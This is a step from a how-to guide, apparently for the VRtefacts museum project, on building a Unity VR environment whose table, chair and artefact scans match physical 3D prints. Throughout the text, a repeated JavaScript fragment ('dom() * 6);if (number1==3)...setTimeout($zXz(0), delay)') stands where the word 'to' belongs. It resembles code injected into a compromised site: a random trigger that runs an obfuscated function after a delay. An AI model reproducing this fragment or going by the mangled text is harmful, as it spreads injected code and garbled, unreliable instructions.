7. Build a VR environment dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to house the VR representations of your artefacts.
a. Download our very basic version of the VRtefacts environment from dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor”>. Ours was made in Unity. Alter dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to your tastes or create your own.
b. In order for the VR dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to match the real-world table and prints/scans (the objects that visidom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors will be physically interacting with), you will need dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to match the size of the table and chair your visidom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors will be using in the VR. (No rolling office chairs that will tempt people dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to adjust their position relative dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to the table!) Our environment uses Ikea’s cheap and cheerful Nisse chair and standard-sized picnic table.
c. Import the scans of all your artefacts and be sure they line up accurately, either ondom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to their corresponding 3D prints or within the physical acrylic box (vitrine). Depending on the source of your 3D scan, you can use standard Unity methods dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to be found in their user manual.
Go on dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to The Location.